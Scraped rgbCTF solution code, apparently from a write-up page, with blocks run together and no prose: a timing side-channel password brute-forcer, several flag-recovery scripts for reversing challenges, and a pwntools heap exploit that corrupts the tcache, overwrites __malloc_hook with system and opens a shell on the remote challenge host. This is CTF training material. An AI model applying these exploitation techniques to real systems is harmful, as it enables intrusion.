Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
from pwn import *
chars = "UVWXYZAFBCDQRSTGHIJNOPKLEM"
pw = ""
import time
#p = process("./my_time_machine.elf")
p = remote("challenge.rgbsec.xyz", 13373, level='debug')
p.recvuntil(': \n')
while len(pw) < 8:
for c in chars:
s = time.time()
p.sendline((pw + c).ljust(8, 'A'))
p.recvline(timeout=9)
e = time.time()
p.recvline()
if (e-s) >= len(pw)+1:
pw += c
print(pw)
break
p.clean()
p.sendline(pw)
print(p.clean(timeout=10))import os
import string
from pwn import *
flag = "rgbCTF{ARM_ar1thm3t1c_r0cks_fad96"
enc = [0x0A, 0xFB, 0xF4, 0x88, 0xDD, 0x9D, 0x7D, 0x5F, 0x9E, 0xA3, 0xC6, 0xBA, 0xF5, 0x95, 0x5D, 0x88, 0x3B, 0xE1, 0x31, 0x50, 0xC7, 0xFA, 0xF5, 0x81, 0x99, 0xC9, 0x7C, 0x23, 0xA1, 0x91, 0x87, 0xB5, 0xB1, 0x95, 0xE4]
def getlast(string):
response = os.popen(f"./arm {string}").read().split(", ")
return int(response[-2],16)
for i in range(len(flag),len(enc)):
for j in string.ascii_lowercase + string.ascii_uppercase + '0123456789_}':
try:
resp = getlast(flag + j)
if resp == enc[i]:
flag += j
print(flag)
break
except:
pass
else:
flag += '-'
print(flag.encode())
"""
for j in map(chr,range(256)):
try:
resp = getlast(flag + j)
if resp == enc[len(flag)]:
print(j)
except:
pass
"""from pwn import *
goal = [114, 20, 119, 59, 104, 47, 75, 56, 81, 99, 23, 71, 56, 75, 124, 31, 65, 32, 77, 55, 103, 31, 96, 18, 76, 41, 27, 122, 29, 47, 83, 33, 78, 59, 10, 56, 15, 34, 94]
outs = "rgbCTF{"
import string, subprocess
chars = string.printable
while True:
currentgoal = repr(goal[:len(outs)+1])
for c in chars:
process = subprocess.Popen(['./itJX.so', outs+c], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = process.communicate()
if currentgoal in out:
outs += c
print(outs)
breakimport string
def encryptflag(toencrypt):
index = 0
bvvar3 = toencrypt[index]
while True:
curbyte = bvvar3
uVar2 = curbyte - 10 & 0xff
uVar4 = curbyte
if (bvvar3 < 0x50) and (uVar4 == uVar2 or 0x50 < uVar2):
uVar4 = curbyte + 0x46 & 0xff
uVar4 = (uVar4 - 7 ^ 0x43) & 0xff
pbVar1 = index + 1
toencrypt[index] = (uVar4 << 6) | (uVar4 >> 2)
bvvar3 = toencrypt[pbVar1]
if bvvar3 == 0: break
uVar4 = pbVar1 % 5
bvvar3 = bvvar3 << (-uVar4 & 7) | bvvar3 >> (uVar4 & 0xff)
if uVar4 == 2:
bvvar3 = bvvar3 - 1
toencrypt[pbVar1] = bvvar3
bvvar3 = toencrypt[pbVar1]
index = pbVar1
for i in range(len(toencrypt)):
toencrypt[i] = toencrypt[i] & 255
enc = [0x0A, 0xFB, 0xF4, 0x88, 0xDD, 0x9D, 0x7D, 0x5F, 0x9E, 0xA3, 0xC6, 0xBA, 0xF5, 0x95, 0x5D, 0x88, 0x3B, 0xE1, 0x31, 0x50, 0xC7, 0xFA, 0xF5, 0x81, 0x99, 0xC9, 0x7C, 0x23, 0xA1, 0x91, 0x87, 0xB5, 0xB1, 0x95, 0xE4]
flag = list(b"rgbCTF{ARM_ar1thm3t1c_r0cks_fad")
l = len(flag)
flag += [0]*(len(enc) - len(flag))
temparr = flag[:]
for i in range(l,len(enc)):
for j in map(ord,string.ascii_lowercase + string.ascii_uppercase + '0123456789_}'):
temparr = flag[:]
temparr[i] = j
encryptflag(temparr)
if temparr[i] == enc[i]:
flag[i] = j
break
print(flag)
inter = map(chr,flag)
print(''.join(inter))
arr = list(b"rgbCTF{") + [0]
encryptflag(arr)
print(", ".join(map(hex,arr)))#include <stdlib.h>
#include <stdio.h>
#define true 1
void encryptFlag(char *flag);
int main(int param_1,char *argv[])
{
char *pcVar1;
char *pbVar2;
char abStack272 [256];
pcVar1 = stpcpy((char *)abStack272,argv[1]);
encryptFlag(abStack272);
pbVar2 = abStack272;
for(int i = 0; i < strlen(argv[1]); i++){
printf("%02X, ",(uint)((pbVar2[i] & 0xff)));
}
putchar(10);
return 0;
}
void encryptFlag(char *flag)
{
char *curpointer;
char *pbVar1;
uint uVar2;
char bVar3;
uint curbyte;
uint uVar4;
bVar3 = *flag;
curpointer = flag;
if (bVar3 == 0) {
return;
}
while( 1) {
curbyte = (uint)bVar3;
uVar2 = curbyte - 10 & 0xff;
uVar4 = curbyte;
if ((bVar3 < 0x50) && (uVar4 = uVar2, 0x50 < uVar2)) {
uVar4 = curbyte + 0x46 & 0xff;
}
uVar4 = (uVar4 - 7 ^ 0x43) & 0xff;
pbVar1 = curpointer + 1;
*curpointer = (char)(uVar4 << 6) | (char)(uVar4 >> 2);
bVar3 = *pbVar1;
if (bVar3 == 0) break;
uVar4 = (int)(pbVar1 + -(int)flag) % 5;
bVar3 = bVar3 << (-uVar4 & 7) | bVar3 >> (uVar4 & 0xff);
if (uVar4 == 2) {
bVar3 = bVar3 - 1;
}
*pbVar1 = bVar3;
bVar3 = *pbVar1;
curpointer = pbVar1;
}
return;
}gl.java vg -> we -> rb -> ja
pr.java pk -> te -> wj -> va
qg.java am -> xs-> mb-> ut
fg.java gg-> mg-> oa-> il public static String executeCodeThatDoesSomethingThatYouProbablyNeedToFigureOut(String stringToExecuteAforementionedCodeOn) throws Exception {
String encryptedString = reallyBasicQuoteUnquoteEncryptionFunctionThatWillOnlyTakeTimeToFigureOutIfYouKeepReadingTheseRidiculouslyLongMethodNames(stringToExecuteAforementionedCodeOn);
String returnValueOfThisFunction = new String();
String[] chunksOfEncryptedStringOfLengthFour = splitStringIntoChunksOfLength(encryptedString, FOUR);
for (String chunkOfEncryptedStringOfLengthFour : chunksOfEncryptedStringOfLengthFour) {
String[] chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = splitStringIntoChunksOfLength(chunkOfEncryptedStringOfLengthFour, TWO);
String firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[0];
String secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = chunksOfChunkOfEncryptedStringOfLengthFourOfLengthTwo[1];
Class<?> classAndExtraCharactersSoItsNotAKeyword = Class.forName(firstChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
Object object = classAndExtraCharactersSoItsNotAKeyword.getConstructors()[ZERO].newInstance();
for (int loopArbitraryCounterIterator = 0; loopArbitraryCounterIterator < THREE; loopArbitraryCounterIterator++) {
Method method = classAndExtraCharactersSoItsNotAKeyword.getMethod(secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo = (String)method.invoke(object);
}
returnValueOfThisFunction = new String(returnValueOfThisFunction + secondChunkOfChunkOfEncryptedStringOfLengthFourOfLengthTwo);
}
return returnValueOfThisFunction;
}struct member{
char name[24];
long drink;
}from pwn import *
ciphertext = open("cipher","rb").read()
def xor(bytes1,bytes2):
return bytes(b1 ^ b2 for b1,b2 in zip(bytes1,bytes2))
def decryptstring(seed):
f = open("lich","r+b")
f.seek(0x7c5b)
f.write(p32(seed))
f.close()
output = os.popen(f"./lich {'a'*len(ciphertext)}").read().encode()
stream = xor(output,b'a'*len(ciphertext))
return xor(ciphertext,stream)
for i in range(1,5000):
print(decryptstring(i))typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
}
# define TCACHE_MAX_BINS 64typedef struct tcache_entry
{
struct tcache_entry *next;
}0x20 bin -> puts@got -> puts
0x30 bin -> writeable area
0x40 bin -> writeable area -> 0x0So, let's do our two 0 chunk allocations and leak libc.
0x30 bin -> writeable area
0x40 bin -> writeable area -> 0x0#!/usr/bin/env python3
from pwn import *
PARTYSIZE = 0
e = ELF("spb")
libc = ELF("libc-2.27.so")
context.binary = e
def chooseSong(length, title=b'',dodata=True):
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(length))
if dodata:
p.sendlineafter('> ', title)
def getDrink(member, drink):
p.sendlineafter('> ', str(2))
p.sendlineafter('> ', str(member))
p.sendlineafter('> ', str(drink))
def singSong():
p.sendlineafter('> ', str(3))
p.recvuntil('0x')
ptr = int(p.recvuntil(' '), 16)
return ptr
def twoscomplement(num):
if num >= 0:
return num
return (0xffffffffffffffff ^ abs(num)) + 1
def conn():
if args.LOCAL:
return process(["./ld-2.27.so",e.path], env={"LD_PRELOAD": libc.path})
else:
return remote("challenge.rgbsec.xyz",6969)
p = conn()
rickroll = 0xf08
heapoffset = 0x280
topchunk = 0x298
newsize = 0xffffffffffffffd9
p.sendlineafter('> ', str(PARTYSIZE))
p.recvuntil("> ")
p.sendline(str(PARTYSIZE))
p.recvuntil("> ")
p.sendline(b"t")
leak = singSong()
e.address = leak - rickroll
log.info(f"Binary base: {hex(e.address)}")
chooseSong(0x10,b'2nd')
heapleak = singSong()
log.info(f"Heap leak: {hex(heapleak)}")
heapbase = heapleak - heapoffset
log.info(f"Heap base: {hex(heapbase)}")
topchunk += heapbase
perthread = heapbase + 0x10
log.info(f"tcache_perthread_struct: {hex(perthread)}")
reqsize = perthread - topchunk - 16 - 8
reqsize = twoscomplement(reqsize)
log.info(f"Size to request: {hex(reqsize)}")
log.info(f"Size as decimal: {reqsize}")
chooseSong(reqsize,dodata=False)
# Top chunk at tcache_perthread_struct
# Ask for 0x230 size chunk, we get to mess up the tcache
fakestruct = b'\x02\x01\x02'.ljust(64,b'\x00')
fakestruct += p64(e.got['puts']) + p64(e.address + 0x000000000202000 + 0x100) + p64(e.address + 0x000000000202000 + 0x100)
chooseSong(0x230,fakestruct)
chooseSong(0,dodata=False)
chooseSong(0,dodata=False)
libcleak = singSong()
libcbase = libcleak - libc.symbols['puts']
log.info(f"Libc base: {hex(libcbase)}")
libc.address = libcbase
chooseSong(0x20,p64(libc.symbols['__malloc_hook'])) # Put inside of 0x40 tcache bin
chooseSong(0x30)
chooseSong(0x30,p64(libc.symbols['system']))
log.info("/bin/sh pointer as decimal: {}".format(next(libc.search(b"/bin/sh\x00"))))
binsh = next(libc.search(b"/bin/sh\x00"))
p.sendlineafter("> ","1")
p.sendlineafter("> ",str(binsh))
p.interactive()